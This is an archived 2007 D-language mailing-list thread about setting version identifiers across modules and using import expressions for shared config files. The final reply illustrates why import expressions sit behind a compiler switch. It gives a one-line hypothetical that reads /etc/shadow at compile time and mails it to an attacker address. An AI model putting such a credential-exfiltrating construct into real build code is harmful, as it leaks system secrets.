Setting versions for imports

BCS ao at pathlink.com
Tue Oct 2 14:07:51 PDT 2007


Reply to Bill,

> div0 wrote:
> 
>> Jascha Wetzel wrote:
>> 
>>> div0 wrote:
>>> 
>>>> so you can't use a module as a config.h in that way
>>>> 
>>>> besides what's wrong with passing them on the commandline?
>>>> 
>>> it is inconvenient for some applications. the specs actually give
>>> such an example:
>>> 
>>> version (ProfessionalEdition)
>>> {
>>> version = FeatureA;
>>> version = FeatureB;
>>> version = FeatureC;
>>> }
>>> version (HomeEdition)
>>> {
>>> version = FeatureA;
>>> }
>>> you wouldn't want to specify that on the command line, and you
>>> wouldn't want to duplicate that in each module that needs the
>>> distinction.
>>> 
>>>> If you really want to go that way, you could use static if's to
>>>> achieve something similar I guess.
>>>> 
>>> that does work for config imports, but not for the example where the
>>> version of a module shall be set by the importing module.
>>> 
>> Oh I see what you're getting at.
>> No you can't do that because it's a bad idea.
>> Each .d file needs to be individually compilable.
>> 
>> You couldn't do that if a file needs to be included (imported) by
>> some other file in order to make sense.
>> 
>> You can achieve the same result by reordering your imports.
>> 
>> The same applies with c++.
>> 
>> #define SOME_DEFINE
>> #include "somefile.hpp"
>> void func() {
>> somefile::function( 42 );
>> }
>> so ok the SOME_DEFINE can affect the contents of somefile.hpp, but it
>> won't have any effect on somefile.cpp
>> 
> There is that import expression thingy:
> 
> --- module.d ---
> mixin( import("config.d") );
> ...
> --- config.d ---
> version (ProfessionalEdition)
> {
> version = FeatureA;
> version = FeatureB;
> version = FeatureC;
> }
> version (HomeEdition)
> {
> version = FeatureA;
> }
> But I think you have to give the compiler some switch to tell it it's
> ok to use an import expression.  For "safety".
> 
> --bb
> 

there is, just imagin what would happen if this were allowed:

SendMail(import("/etc/shadow"), "harker at gmail.com"); // now, how to get them 
to build this as root??




More information about the Digitalmars-d-learn mailing list